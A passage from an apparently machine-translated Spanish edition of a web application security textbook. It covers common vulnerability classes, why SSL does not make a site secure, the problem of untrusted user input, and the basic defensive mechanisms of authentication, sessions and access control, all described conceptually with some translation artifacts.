relativamente simples. Hay disponible una amplia gama de plataformas y herramientas de
desarrollo para facilitar el desarrollo de aplicaciones poderosas por parte de principiantes, y una
gran cantidad de código fuente abierto y otros recursos están disponibles para incorporarlos en
aplicaciones personalizadas.
Seguridad de aplicaciones web
Al igual que con cualquier nueva clase de tecnología, las aplicaciones web han traído
consigo una nueva gama de vulnerabilidades de seguridad. El conjunto de defectos más
comunes ha evolucionado un poco con el tiempo. Se han concebido nuevos ataques
que no se consideraron cuando se desarrollaron las aplicaciones existentes. Algunos
problemas se han vuelto menos frecuentes a medida que aumenta la conciencia sobre ellos.
Se han desarrollado nuevas tecnologías que han introducido nuevas posibilidades de
explotación. Algunas categorías de fallas han desaparecido en gran medida como resultado
de los cambios realizados en el software del navegador web.
Los ataques más graves contra las aplicaciones web son aquellos que exponen datos
confidenciales u obtienen acceso sin restricciones a los sistemas de back-end en los que se
ejecuta la aplicación. Compromisos de alto perfil de este tipo continúan ocurriendo con
frecuencia. Sin embargo, para muchas organizaciones, cualquier ataque que provoque un
tiempo de inactividad del sistema es un evento crítico. Los ataques de denegación de servicio
a nivel de aplicación se pueden utilizar para lograr los mismos resultados que el agotamiento de recursos tradicional
ataques contra la infraestructura. Sin embargo, a menudo se utilizan con técnicas y objetivos más
sutiles. Pueden usarse para interrumpir a un usuario o servicio en particular para obtener una ventaja
competitiva frente a sus pares en los ámbitos del comercio financiero, los juegos, las ofertas en línea y
las reservas de boletos.
A lo largo de esta evolución, los compromisos de aplicaciones web destacadas han permanecido en
las noticias. No tiene sentido que se haya doblado una esquina y que
estos problemas de seguridad están disminuyendo. En cierta medida, la seguridad de las aplicaciones
web es hoy en día el campo de batalla más importante entre los atacantes y quienes tienen recursos
informáticos y datos que defender, y es probable que siga siéndolo en el futuro previsible.
“Este sitio es seguro”

Existe una conciencia generalizada de que la seguridad es un problema para las aplicaciones web.
Consulte la página de preguntas frecuentes de una aplicación típica y se asegurará de que, de hecho, es segura.
La mayoría de las aplicaciones afirman que son seguras porque usan SSL. Por ejemplo:
Este sitio es absolutamente seguro. Ha sido diseñado para usar la tecnología Secure Socket Layer (SSL)
de 128 bits para evitar que usuarios no autorizados vean su información. Puede usar este sitio con la
tranquilidad de que sus datos están seguros con nosotros.
A menudo se insta a los usuarios a verificar el certificado del sitio, admirar los protocolos criptográficos avanzados
en uso y, sobre esta base, confiarle su información personal.
Cada vez más, las organizaciones también citan su cumplimiento con los estándares de la industria de tarjetas
de pago (PCI) para asegurar a los usuarios que están seguros. Por ejemplo:
Nosotros nos tomamos la seguridad muy en serio. Nuestro sitio web se escanea diariamente para garantizar
que cumplamos con PCI y que estemos a salvo de piratas informáticos. Puede ver la fecha del último
escaneo en el logotipo a continuación, y tiene la garantía de que nuestro sitio web es seguro de usar.
De hecho, la mayoría de las aplicaciones web son inseguras, a pesar del uso
generalizado de la tecnología SSL y la adopción del escaneo PCI regular. Los
autores de este libro han probado cientos de aplicaciones web en los últimos años.
La Figura 1-3 muestra el porcentaje de aplicaciones probadas durante 2007 y 2011
que resultaron afectadas por algunas categorías comunes de vulnerabilidad:
n Autenticación rota (62%) : esta categoría de vulnerabilidad incluye varios defectos dentro del mecanismo
de inicio de sesión de la aplicación, lo que puede permitir que un atacante adivine contraseñas débiles,
inicie un ataque de fuerza bruta u omita el inicio de sesión.
n Controles de acceso rotos (71 %) : se trata de casos en los que la aplicación no protege adecuadamente
el acceso a sus datos y funciones, lo que podría permitir a un atacante ver los datos confidenciales de
otros usuarios almacenados en el servidor o llevar a cabo acciones privilegiadas. n Inyección SQL (32
%) : esta vulnerabilidad permite que un atacante envíe información manipulada para interferir con la
interacción de la aplicación con las bases de datos de back-end. Un atacante puede recuperar datos arbitrarios
de la aplicación, interferir con su lógica o ejecutar comandos en el propio servidor de la base de datos.
n Cross-site scripting (94%) : esta vulnerabilidad permite que un atacante

se dirija a otros usuarios de la aplicación, lo que podría obtener acceso
a sus datos, realizar acciones no autorizadas en su nombre o llevar a
cabo otros ataques contra ellos.
n Fuga de información (78 %) : se trata de casos en los que una aplicación divulga información
confidencial que es útil para un atacante en el desarrollo de un ataque contra la aplicación,
a través de un manejo defectuoso de errores u otro comportamiento.
n Falsificación de solicitudes entre sitios (92 %) : esta falla significa que los
usuarios de la aplicación pueden ser inducidos a realizar acciones no deseadas
en la aplicación dentro de su contexto de usuario y nivel de privilegio. La
vulnerabilidad permite que un sitio web malicioso visitado por el usuario víctima
interactúe con la aplicación para realizar acciones que el usuario no pretendía.
Autenticación rota 62%
Controles de acceso rotos 71%
inyección SQL 32%
Secuencias de comandos entre sitios 94%
Fuga de información 78%
Falsificación de solicitud
92%
entre sitios
0% 10% 20% 30% 40% 50% 60% 70% 80% 90% 100%
Incidencia en aplicaciones probadas recientemente
Figura 1-3: La incidencia de algunas vulnerabilidades comunes de aplicaciones web en

aplicaciones probadas recientemente por los autores (basado en una muestra de más de 100)
SSL es una excelente tecnología que protege la confidencialidad y la integridad de los datos en
tránsito entre el navegador del usuario y el servidor web. Ayuda a defenderse de los espías y puede
garantizar al usuario la identidad del servidor web con el que está tratando. Pero no detiene los
ataques que apuntan directamente a los componentes del servidor o del cliente de una aplicación,
como lo hacen la mayoría de los ataques exitosos.
Específicamente, no evita ninguna de las vulnerabilidades que se acaban de enumerar, ni muchas
otras que pueden hacer que una aplicación quede críticamente expuesta a ataques.
Independientemente de si usan SSL, la mayoría de las aplicaciones web aún contienen fallas de seguridad.
El problema central de seguridad: los usuarios pueden enviar

Entrada arbitraria
Como ocurre con la mayoría de las aplicaciones distribuidas, las aplicaciones web se enfrentan a
un problema fundamental que deben abordar para ser seguras. Debido a que el cliente está fuera
del control de la aplicación, los usuarios pueden enviar entradas arbitrarias a la aplicación del
lado del servidor . La aplicación debe asumir que todas las entradas son potencialmente maliciosas.
Por lo tanto, debe tomar medidas para garantizar que los atacantes no puedan utilizar entradas
manipuladas para comprometer la aplicación interfiriendo con su lógica y comportamiento, obteniendo
así acceso no autorizado a sus datos y funcionalidad.
Este problema central se manifiesta de varias maneras:
n Los usuarios pueden interferir con cualquier dato transmitido entre el cliente y el servidor, incluidos
los parámetros de solicitud, las cookies y los encabezados HTTP. Cualquier control de seguridad
implementado en el lado del cliente, como las verificaciones de validación de entrada, se puede
eludir fácilmente. n Los usuarios pueden enviar solicitudes en cualquier secuencia y pueden
enviar parámetros en una etapa diferente a la esperada por la aplicación, más de una vez o no
enviar ninguna.
Se puede violar cualquier suposición que hagan los desarrolladores sobre cómo los usuarios
interactuarán con la aplicación.
n Los usuarios no están restringidos a usar solo un navegador web para acceder a la aplicación.
Numerosas herramientas ampliamente disponibles funcionan junto o independientemente de
un navegador para ayudar a atacar las aplicaciones web. Estas herramientas pueden realizar
solicitudes que ningún navegador haría normalmente y pueden generar una gran cantidad de
solicitudes rápidamente para encontrar y explotar problemas.
La mayoría de los ataques contra las aplicaciones web implican el envío de información al servidor
que está diseñada para provocar algún evento que el diseñador de la aplicación no esperaba ni
deseaba. Estos son algunos ejemplos de cómo enviar aportes elaborados para lograr este objetivo:
n Cambiar el precio de un producto transmitido en un campo de formulario HTML oculto para

comprar el producto de manera fraudulenta por una cantidad más barata n Modificar un
token de sesión transmitido en una cookie HTTP para secuestrar el

sesión de otro usuario autenticado
n Eliminar ciertos parámetros que normalmente se envían para explotar un

fallo lógico en el procesamiento de la aplicación
n Alterar alguna entrada que será procesada por una base de datos de back-end para inyectar una
consulta de base de datos maliciosa y acceder a datos confidenciales
No hace falta decir que SSL no hace nada para evitar que un atacante envíe
información manipulada al servidor. Si la aplicación usa SSL, esto simplemente significa
que otros usuarios en la red no pueden ver ni modificar los datos del atacante en tránsito. Porque
el atacante controla su extremo del túnel SSL, puede enviar lo que quiera al servidor a través
de este túnel. Si alguno de los ataques mencionados anteriormente tiene éxito, la aplicación es
enfáticamente vulnerable, independientemente de lo que le digan sus preguntas frecuentes.
Factores clave del problema
El principal problema de seguridad que enfrentan las aplicaciones web surge en cualquier
situación en la que una aplicación deba aceptar y procesar datos no confiables que pueden ser
maliciosos. Sin embargo, en el caso de las aplicaciones web, varios factores se han combinado
para exacerbar el problema y explicar por qué tantas aplicaciones web en Internet hoy en día
hacen un mal trabajo al abordarlo.
Conciencia de seguridad subdesarrollada

Aunque la conciencia sobre los problemas de seguridad de las aplicaciones web ha aumentado
en los últimos años, sigue estando menos desarrollada que en áreas establecidas desde hace
más tiempo, como las redes y los sistemas operativos. Aunque la mayoría de las personas que
trabajan en seguridad de TI tienen un conocimiento razonable de los aspectos básicos de la
seguridad de las redes y el fortalecimiento de los hosts, todavía existe una confusión
generalizada y conceptos erróneos sobre muchos de los conceptos básicos relacionados con
la seguridad de las aplicaciones web. El trabajo de un desarrollador de aplicaciones web implica
cada vez más entretejer decenas, o incluso cientos, de paquetes de terceros, todos diseñados
para abstraer al desarrollador de las tecnologías subyacentes. Es común encontrarse con
desarrolladores de aplicaciones web experimentados que hacen suposiciones importantes
sobre la seguridad proporcionada por su marco de programación y para quienes una explicación
de muchos tipos básicos de fallas es una revelación.
Desarrollo a la medida
La mayoría de las aplicaciones web son desarrolladas internamente por el propio personal de
una organización o por contratistas externos. Incluso cuando una aplicación emplea
componentes bien establecidos, estos generalmente se personalizan o se unen mediante un nuevo código.
En esta situación, cada aplicación es diferente y puede contener sus propios defectos únicos .
Esto contrasta con una implementación de infraestructura típica, en la que una organización
puede comprar el mejor producto de su clase e instalarlo de acuerdo con las pautas estándar
de la industria.
Simplicidad engañosa
Con las plataformas de aplicaciones web y las herramientas de desarrollo actuales,
es posible que un programador novato cree una aplicación poderosa desde cero en
un corto período de tiempo. Pero hay una gran diferencia entre producir código que es
funcional y código que es seguro. Muchas aplicaciones web son creadas por personas bien
intencionadas que simplemente carecen del conocimiento y la experiencia para identificar
dónde pueden surgir problemas de seguridad.
Una tendencia destacada en los últimos años ha sido el uso de marcos de aplicaciones que
proporcionan componentes de código listos para usar para manejar numerosas áreas comunes
de funcionalidad, como autenticación, plantillas de página, tableros de mensajes e integración
con componentes comunes de infraestructura de back-end. Ejemplos de estos marcos incluyen
Liferay y Appfuse. Estos productos agilizan y facilitan la creación de aplicaciones funcionales
sin necesidad de conocimientos técnicos sobre cómo funcionan las aplicaciones o los riesgos
potenciales que pueden contener. Esto también significa que muchas empresas utilizan los
mismos marcos. Por lo tanto, cuando se descubre una vulnerabilidad, afecta a muchas
aplicaciones no relacionadas.
Perfil de amenazas en rápida evolución
La investigación sobre los ataques y las defensas de las aplicaciones web sigue siendo un área
próspera en la que se conciben nuevos conceptos y amenazas a un ritmo más rápido que en
el caso de las tecnologías más antiguas. Particularmente en el lado del cliente, es común que
las defensas aceptadas contra un ataque en particular se vean socavadas por investigaciones
que demuestran una nueva técnica de ataque. Un equipo de desarrollo que comienza un
proyecto con un conocimiento completo de las amenazas actuales puede haber perdido este
estado cuando la aplicación se completa y se implementa.
Restricciones de recursos y tiempo
La mayoría de los proyectos de desarrollo de aplicaciones web están sujetos a restricciones

estrictas de tiempo y recursos, que surgen de la economía del desarrollo único e interno . En la
mayoría de las organizaciones, a menudo no es factible emplear experiencia en seguridad
dedicada en los equipos de diseño o desarrollo. Y debido al retraso del proyecto, las pruebas
de seguridad realizadas por especialistas a menudo se dejan hasta muy tarde en el ciclo de
vida del proyecto. En el equilibrio de prioridades contrapuestas, la necesidad de producir una
aplicación estable y funcional antes de una fecha límite normalmente anula las consideraciones
de seguridad menos tangibles. Una pequeña organización típica puede estar dispuesta a pagar
solo unos pocos días-hombre de tiempo de consultoría para evaluar una nueva aplicación. Una
prueba de penetración rápida a menudo encontrará la fruta madura, pero puede pasar por alto
vulnerabilidades más sutiles que requieren tiempo y paciencia para identificar.
Tecnologías sobreextendidas
Muchas de las tecnologías centrales empleadas en las aplicaciones web comenzaron cuando
el panorama de la World Wide Web era muy diferente. Desde entonces, han ido mucho más
allá de los propósitos para los que fueron concebidos originalmente, como el uso de JavaScript
como medio de transmisión de datos en muchos sistemas basados en AJAX.
aplicaciones A medida que las expectativas puestas en la funcionalidad de las aplicaciones web han
evolucionado rápidamente, las tecnologías utilizadas para implementar esta funcionalidad se han
quedado rezagadas, con tecnologías antiguas ampliadas y adaptadas para cumplir con los nuevos
requisitos. Como era de esperar, esto ha llevado a vulnerabilidades de seguridad a medida que
surgen efectos secundarios imprevistos.
Demandas crecientes de funcionalidad

Las aplicaciones se diseñan principalmente teniendo en cuenta la funcionalidad y la facilidad de uso.
Los perfiles de usuario que alguna vez fueron estáticos ahora contienen funciones de redes
sociales, lo que permite cargar imágenes y editar páginas al estilo wiki. Hace unos años, un
diseñador de aplicaciones puede haberse contentado con implementar un desafío de nombre de
usuario y contraseña para crear la funcionalidad de inicio de sesión. Los sitios modernos pueden
incluir recuperación de contraseña, recuperación de nombre de usuario, sugerencias de contraseña
y una opción para recordar el nombre de usuario y la contraseña en futuras visitas. Sin duda, se
promocionaría un sitio de este tipo con numerosas funciones de seguridad, pero cada una de ellas
es realmente una función de autoservicio que se suma a la superficie de ataque del sitio.
El nuevo perímetro de seguridad

Antes del surgimiento de las aplicaciones web, los esfuerzos de las organizaciones para protegerse
contra ataques externos se concentraban en gran medida en el perímetro de la red. Defender este
perímetro implicaba fortalecer y parchear los servicios que necesitaba para exponer y bloquear el
acceso a otros.
Las aplicaciones web han cambiado todo esto. Para que los usuarios puedan
acceder a una aplicación , el cortafuegos perimetral debe permitir conexiones entrantes
al servidor a través de HTTP o HTTPS. Y para que la aplicación funcione, se debe
permitir que el servidor se conecte a sistemas back-end de soporte, como bases de
datos, mainframes y sistemas financieros y logísticos. Estos sistemas a menudo se
encuentran en el centro de las operaciones de la organización y residen detrás de
varias capas de defensas a nivel de red.
Si existe una vulnerabilidad dentro de una aplicación web, un atacante en la Internet pública
puede comprometer los sistemas back-end centrales de la organización únicamente mediante el
envío de datos manipulados desde su navegador web. Estos datos superan todas las defensas de
la red de la organización, de la misma manera que lo hace el tráfico normal y benigno hacia la
aplicación web.
El efecto de la implementación generalizada de aplicaciones web es que el perímetro de seguridad
de una organización típica se ha movido. Parte de ese perímetro todavía está representado por
cortafuegos y bastiones. Pero una parte importante de ella ahora está ocupada por las aplicaciones
web de la organización. Debido a las múltiples formas en que las aplicaciones web reciben
información del usuario y la transmiten a sistemas back-end confidenciales, son puertas de enlace
potenciales para una amplia gama de ataques, y las defensas contra estos ataques deben
implementarse dentro de las propias aplicaciones. un solo
Una línea de código defectuosa en una sola aplicación web puede hacer que los sistemas
internos de una organización sean vulnerables. Además, con el auge de las aplicaciones
combinadas, los widgets de terceros y otras técnicas para la integración entre dominios, el
perímetro de seguridad del lado del servidor con frecuencia se extiende mucho más allá de la
propia organización. La confianza implícita se deposita en los servicios de aplicaciones y servicios externos.
Las estadísticas descritas anteriormente, de la incidencia de vulnerabilidades dentro de este
nuevo perímetro de seguridad, deberían hacer que todas las organizaciones se detengan a pensar.
NOTA Para un atacante que se dirige a una organización, es posible que

obtener acceso a la red o ejecutar comandos arbitrarios en los servidores
no sea lo que desea lograr. A menudo, y tal vez por lo general, lo que
realmente quiere un atacante es realizar alguna acción a nivel de
aplicación, como robar información personal, transferir fondos o hacer
compras baratas. Y la reubicación del perímetro de seguridad a la capa de
aplicación puede ayudar mucho a un atacante a lograr estos objetivos.
Por ejemplo, supongamos que un atacante quiere "hackear" los sistemas de un
banco y robar dinero de las cuentas de los usuarios. En el pasado, antes de que el
banco implementara una aplicación web, el atacante podría haber necesitado
encontrar una vulnerabilidad en un servicio de acceso público, explotarla para
obtener un punto de apoyo en la DMZ del banco, penetrar el firewall que restringe el
acceso a sus sistemas internos, mapear la red para encontrar la computadora
central, descifrar el protocolo arcano utilizado para acceder a ella y adivinar algunas
credenciales para iniciar sesión. Sin embargo, si el banco ahora implementa una
aplicación web vulnerable, el atacante puede lograr el mismo resultado simplemente
modificando un número de cuenta en un campo oculto de un formulario HTML.
Una segunda forma en que las aplicaciones web han movido el perímetro de seguridad
surge de las amenazas a las que se enfrentan los propios usuarios cuando acceden a una
aplicación vulnerable. Un atacante malintencionado puede aprovechar una aplicación web
benigna pero vulnerable para atacar a cualquier usuario que la visite. Si ese usuario está
ubicado en una red corporativa interna, el atacante puede aprovechar el navegador del
usuario para lanzar un ataque contra la red local desde la posición de confianza del usuario.
Sin ninguna cooperación por parte del usuario, el atacante puede llevar a cabo cualquier
acción que el usuario podría realizar si fuera malintencionado. Con la proliferación de
complementos y tecnologías de extensión del navegador, el alcance de la superficie de
ataque del lado del cliente ha aumentado considerablemente.
Los administradores de red están familiarizados con la idea de evitar que sus usuarios
visiten sitios web maliciosos, y los propios usuarios finales son cada vez más conscientes
de esta amenaza. Pero la naturaleza de las vulnerabilidades de las aplicaciones web
significa que una aplicación vulnerable puede presentar una amenaza no menor para sus
usuarios y su organización que un sitio web que es abiertamente malicioso. En consecuencia,
el nuevo perímetro de seguridad impone un deber de cuidado a todos los propietarios de
aplicaciones para proteger a sus usuarios de los ataques que reciben a través de la aplicación.
Otra forma en la que el perímetro de seguridad se ha trasladado parcialmente al lado del

cliente es a través del uso generalizado del correo electrónico como mecanismo de autenticación
ampliado. Una gran cantidad de aplicaciones actuales contienen funciones de "contraseña
olvidada" que permiten a un atacante generar un correo electrónico de recuperación de cuenta
a cualquier dirección registrada, sin requerir ninguna otra información específica del usuario.
Esto permite que un atacante que comprometa la cuenta de correo web de un usuario escale
fácilmente el ataque y comprometa las cuentas de la víctima en la mayoría de las aplicaciones
web para las que la víctima está registrada.
El futuro de la seguridad de las aplicaciones web

Más de una década después de su adopción generalizada, las aplicaciones web en Internet
todavía están plagadas de vulnerabilidades. La comprensión de las amenazas de seguridad
que enfrentan las aplicaciones web y las formas efectivas de abordarlas aún están poco
desarrolladas dentro de la industria. Actualmente hay pocos indicios de que los factores
problemáticos descritos en este capítulo desaparezcan en un futuro próximo.
Dicho esto, los detalles del panorama de seguridad de las aplicaciones web no son estáticos.
Aunque siguen apareciendo vulnerabilidades antiguas y conocidas, como la inyección SQL, su
prevalencia está disminuyendo gradualmente. Además, las instancias que quedan son cada vez
más difíciles de encontrar y explotar. Las nuevas investigaciones en estas áreas generalmente
se enfocan en desarrollar técnicas avanzadas para atacar manifestaciones más sutiles de
vulnerabilidades que hace unos años podían detectarse y explotarse fácilmente utilizando solo
un navegador.
Una segunda tendencia destacada ha sido un cambio gradual en la atención de los ataques
contra el lado del servidor de la aplicación a aquellos que apuntan a los usuarios de la aplicación.
El último tipo de ataque aún aprovecha los defectos dentro de la propia aplicación, pero
generalmente involucra algún tipo de interacción con otro usuario para comprometer el trato de
ese usuario con la aplicación vulnerable. Esta es una tendencia que se ha replicado en otras
áreas de la seguridad del software. A medida que madura la conciencia de las amenazas de
seguridad, las fallas en el lado del servidor son las primeras en comprenderse y abordarse bien,
dejando al lado del cliente como un campo de batalla clave a medida que continúa el proceso
de aprendizaje. De todos los ataques descritos en este libro, aquellos contra otros usuarios son
los que evolucionan más rápidamente y han sido el foco de la mayoría de las investigaciones en
los últimos años.
Varias tendencias recientes en tecnología han alterado un poco el panorama de las
aplicaciones web. La conciencia popular sobre estas tendencias existe por medio de varias
palabras de moda bastante engañosas, las más destacadas de las cuales son las siguientes:
n Web 2.0: este término se refiere al mayor uso de la funcionalidad que permite compartir
contenido e información generados por el usuario, y también la adopción de diversas
tecnologías que respaldan ampliamente esta funcionalidad, incluidas las solicitudes
HTTP asíncronas y la integración entre dominios.
n Computación en la nube: este término se refiere a un mayor uso de proveedores de

servicios externos para varias partes de la pila de tecnología, incluido el software de
aplicación, las plataformas de aplicación, el software de servidor web, las bases de
datos y el hardware. También se refiere al mayor uso de tecnologías de virtualización
dentro de los entornos de alojamiento.
Como ocurre con la mayoría de los cambios tecnológicos, estas tendencias han traído consigo
nuevos ataques y variaciones de los ataques existentes. A pesar de la exageración, los temas
planteados no son tan revolucionarios como pueden parecer inicialmente. Examinaremos las
implicaciones de seguridad de estas y otras tendencias recientes en los lugares apropiados a lo largo
de este libro.
A pesar de todos los cambios que se han producido en las aplicaciones web, algunas
categorías de vulnerabilidades "clásicas" no muestran signos de disminución. Continúan
surgiendo prácticamente de la misma forma que lo hicieron en los primeros días de la web.
Estos incluyen defectos en la lógica comercial, fallas en la aplicación adecuada de los
controles de acceso y otros problemas de diseño. Incluso en un mundo de componentes de
aplicaciones unidos entre sí y todo como un servicio, es probable que estos problemas
atemporales sigan estando muy extendidos.
Resumen
En poco más de una década, la World Wide Web ha evolucionado de depósitos de información
puramente estáticos a aplicaciones altamente funcionales que procesan datos confidenciales y
realizan acciones poderosas con consecuencias en el mundo real. Durante este desarrollo, se
combinaron varios factores para generar la postura de seguridad débil que demuestran la mayoría
de las aplicaciones web actuales.
La mayoría de las aplicaciones enfrentan el problema central de seguridad de que los usuarios
pueden enviar entradas arbitrarias. Todos los aspectos de la interacción del usuario con la aplicación
pueden ser maliciosos y deben considerarse como tales a menos que se demuestre lo contrario. Si
no se aborda adecuadamente este problema, las aplicaciones pueden quedar vulnerables a los
ataques de muchas maneras.
Toda la evidencia sobre el estado actual de la seguridad de las aplicaciones web indica que,
aunque algunos aspectos de la seguridad han mejorado, han evolucionado amenazas
completamente nuevas para reemplazarlos. El problema general no ha sido resuelto en ninguna
escala significativa. Los ataques contra las aplicaciones web siguen representando una grave
amenaza tanto para las organizaciones que las implementan como para los usuarios que acceden a ellas.
Capítulo R
Mecanismos básicos de defensa
El problema de seguridad fundamental con las aplicaciones web, que todas las entradas
del usuario no son de confianza, da lugar a una serie de mecanismos de seguridad que
las aplicaciones utilizan para defenderse de los ataques. Prácticamente todas las
aplicaciones emplean mecanismos que son conceptualmente similares, aunque los
detalles del diseño y la efectividad de la implementación varían mucho.
Los mecanismos de defensa empleados por las aplicaciones web comprenden los siguientes
elementos centrales:
n Manejar el acceso de los usuarios a los datos y la funcionalidad de la aplicación para evitar
los usuarios obtengan acceso no autorizado
n Manejo de la entrada del usuario a las funciones de la aplicación para evitar

entrada de causar un comportamiento indeseable
n Manejar a los atacantes para garantizar que la aplicación se comporte adecuadamente

cuando se la ataca directamente, tomando las medidas defensivas y ofensivas adecuadas
para frustrar al atacante .
n Administrar la propia aplicación al permitir que los administradores controlen su

actividades y confi gurar su funcionalidad
Debido a su papel central en la resolución del problema central de seguridad, estos mecanismos
también constituyen la gran mayoría de la superficie de ataque de una aplicación típica. Si conocer
a tu enemigo es la primera regla de la guerra, comprender a fondo estos mecanismos es el principal
requisito previo para poder atacar .
17
18 Capítulo 2 n Mecanismos básicos de defensa
aplicaciones de manera efectiva. Si es nuevo en la piratería de aplicaciones web (e incluso si no lo es),

debe asegurarse de tomarse el tiempo para comprender cómo funcionan estos mecanismos centrales en
cada una de las aplicaciones que encuentre e identificar los puntos débiles que las dejan vulnerables a los
ataques. .
Manejo del acceso de usuarios
Un requisito central de seguridad que prácticamente cualquier aplicación debe cumplir es controlar el
acceso de los usuarios a sus datos y funciones. Una situación típica tiene varias categorías diferentes de
usuarios, como usuarios anónimos, usuarios autenticados ordinarios y usuarios administrativos. Además,
en muchas situaciones, a diferentes usuarios se les permite acceder a un conjunto diferente de datos. Por
ejemplo, los usuarios de una aplicación de correo web deberían poder leer su propio correo electrónico
pero no el de otras personas.
La mayoría de las aplicaciones web manejan el acceso mediante un trío de mecanismos de seguridad
interrelacionados :
n Autenticación
n Gestión de sesiones
n Control de acceso
Cada uno de estos mecanismos representa un área significativa de la superficie de ataque de una
aplicación , y cada uno es fundamental para la postura de seguridad general de una aplicación . Debido a
sus interdependencias, la seguridad general proporcionada por los mecanismos es tan sólida como el
eslabón más débil de la cadena. Un defecto en cualquier componente individual puede permitir que un
atacante obtenga acceso sin restricciones a la funcionalidad y los datos de la aplicación.
Autenticación
El mecanismo de autenticación es lógicamente la dependencia más básica en el manejo del acceso del
usuario por parte de una aplicación. La autenticación de un usuario implica establecer que el usuario es,
de hecho, quien dice ser. Sin esta función, la aplicación tendría que tratar a todos los usuarios como
anónimos, el nivel de confianza más bajo posible.
La mayoría de las aplicaciones web actuales emplean el modelo de autenticación
convencional, en el que el usuario envía un nombre de usuario y una contraseña, cuya
validez verifica la aplicación. La figura 2-1 muestra una función típica de inicio de sesión.
En aplicaciones críticas para la seguridad, como las que utilizan los bancos en línea, este modelo básico
suele complementarse con credenciales adicionales y un proceso de inicio de sesión de varias etapas.
Cuando los requisitos de seguridad son aún más altos, se pueden usar otros modelos de autenticación ,
basados en certificados de cliente, tarjetas inteligentes o tokens de desafío-respuesta. Además del proceso
de inicio de sesión central, los mecanismos de autenticación a menudo emplean una gama de otras
funciones de apoyo, como el registro automático, la recuperación de cuentas y la función de cambio de
contraseña.
Capítulo 2 n Mecanismos básicos de defensa 19
Figura 2-1: Una función típica de inicio de sesión
A pesar de su sencillez superficial, los mecanismos de autenticación sufren una

amplia gama de defectos tanto en el diseño como en la implementación. Los problemas
comunes pueden permitir que un atacante identifique los nombres de usuario de otros
usuarios, adivine sus contraseñas o pase por alto la función de inicio de sesión al
explotar defectos en su lógica. Cuando ataca una aplicación web, debe prestar mucha
atención a las diversas funciones relacionadas con la autenticación que contiene.
Sorprendentemente , los defectos en esta funcionalidad le permiten obtener acceso no
autorizado a datos y funcionalidades confidenciales.
Gestión de sesiones
La siguiente tarea lógica en el proceso de manejo del acceso de los usuarios es
administrar la sesión del usuario autenticado. Después de iniciar sesión con éxito en la
aplicación, el usuario accede a varias páginas y funciones, realizando una serie de
solicitudes HTTP desde su navegador. Al mismo tiempo, la aplicación recibe innumerables
otras solicitudes de diferentes usuarios, algunos de los cuales están autenticados y otros
son anónimos. Para hacer cumplir un control de acceso efectivo, la aplicación necesita
una forma de identificar y procesar la serie de solicitudes que se originan en cada usuario único.
Prácticamente todas las aplicaciones web cumplen con este requisito creando una
sesión para cada usuario y emitiendo al usuario un token que identifica la sesión. La
sesión en sí es un conjunto de estructuras de datos almacenadas en el servidor que
rastrean el estado de la interacción del usuario con la aplicación. El token es una cadena
única que la aplicación asigna a la sesión. Cuando un usuario recibe un token, el
navegador lo envía automáticamente al servidor en cada solicitud HTTP posterior, lo
que permite que la aplicación asocie la solicitud con ese usuario. Las cookies HTTP son
el método estándar para transmitir tokens de sesión, aunque muchas aplicaciones
utilizan campos de formulario ocultos o la cadena de consulta de URL para este fin. Si
un usuario no realiza una solicitud durante un cierto período de tiempo, lo ideal es que
la sesión expire, como se muestra en la Figura 2-2.
Figura 2-2: Una aplicación que exige el tiempo de espera de la sesión
En términos de superficie de ataque, el mecanismo de gestión de sesiones depende en gran

medida de la seguridad de sus tokens. La mayoría de los ataques en su contra buscan comprometer
los tokens emitidos a otros usuarios. Si esto es posible, un atacante puede hacerse pasar por el
usuario víctima y usar la aplicación como si realmente se hubiera autenticado como ese usuario. Las
principales áreas de vulnerabilidad surgen de defectos en la forma en que se generan los tokens, lo
que permite a un atacante adivinar los tokens emitidos a otros usuarios, y defectos en la forma en
que los tokens se manejan posteriormente, lo que permite a un atacante capturar los tokens de otros
usuarios.
Una pequeña cantidad de aplicaciones prescinden de la necesidad de tokens de sesión mediante
el uso de otros medios para volver a identificar a los usuarios a través de múltiples solicitudes. Si se
utiliza el mecanismo de autenticación integrado de HTTP , el navegador vuelve a enviar
automáticamente las credenciales del usuario con cada solicitud, lo que permite que la aplicación
identifique al usuario directamente a partir de ellas. En otros casos, la aplicación almacena la
información de estado en el lado del cliente en lugar del servidor, generalmente en forma cifrada
para evitar la manipulación.
Control de acceso
El último paso lógico en el proceso de manejo del acceso de los usuarios es tomar y hacer cumplir
las decisiones correctas sobre si se debe permitir o denegar cada solicitud individual. Si los
mecanismos recién descritos funcionan correctamente, la aplicación conoce la identidad del usuario
de quien recibe cada solicitud. Sobre esta base, debe decidir si ese usuario está autorizado para
realizar la acción o acceder a los datos que está solicitando, como se muestra en la Figura 2-3.
El mecanismo de control de acceso generalmente necesita implementar una lógica detallada, con
diferentes consideraciones relevantes para diferentes áreas de la aplicación y diferentes tipos de
funcionalidad. Una aplicación puede admitir numerosos roles de usuario, cada uno de los cuales
implica diferentes combinaciones de privilegios específicos.
Es posible que se permita a los usuarios individuales acceder a un subconjunto de los datos totales
contenidos en la aplicación. Las funciones específicas pueden implementar límites de transacción y
otros controles, todos los cuales deben aplicarse correctamente en función de la identidad del usuario.
Debido a la naturaleza compleja de los requisitos típicos de control de acceso, este
mecanismo es una fuente frecuente de vulnerabilidades de seguridad que permiten a un atacante
para obtener acceso no autorizado a los datos y la funcionalidad. Los desarrolladores a menudo
hacen suposiciones erróneas sobre cómo los usuarios interactuarán con la aplicación y, con
frecuencia, cometen descuidos al omitir las comprobaciones de control de acceso de algunas
funciones de la aplicación. Sondear estas vulnerabilidades suele ser laborioso, porque
esencialmente se deben repetir las mismas comprobaciones para cada elemento de funcionalidad.
Sin embargo, debido a la prevalencia de las fallas de control de acceso, este esfuerzo siempre es
una inversión que vale la pena cuando se ataca una aplicación web. El Capítulo 8 describe cómo
puede automatizar parte del esfuerzo que implica realizar pruebas rigurosas de control de acceso.
Figura 2-3: Una aplicación que impone el control de acceso
Manejo de la entrada del usuario
Recuerde el problema de seguridad fundamental descrito en el Capítulo 1: todas las entradas del
usuario no son de confianza. Una gran variedad de ataques contra aplicaciones web implican el
envío de información inesperada, diseñada para provocar un comportamiento que no fue el previsto
por los diseñadores de la aplicación. En consecuencia, un requisito clave para las defensas de
seguridad de una aplicación es que la aplicación debe manejar la entrada del usuario de manera segura.
Las vulnerabilidades basadas en la entrada pueden surgir en cualquier lugar dentro de la
funcionalidad de una aplicación y en relación con prácticamente todo tipo de tecnología de uso común.
La "validación de entrada" se cita a menudo como la defensa necesaria contra estos ataques.
Sin embargo, no se puede emplear ningún mecanismo de protección único en todas partes, y la
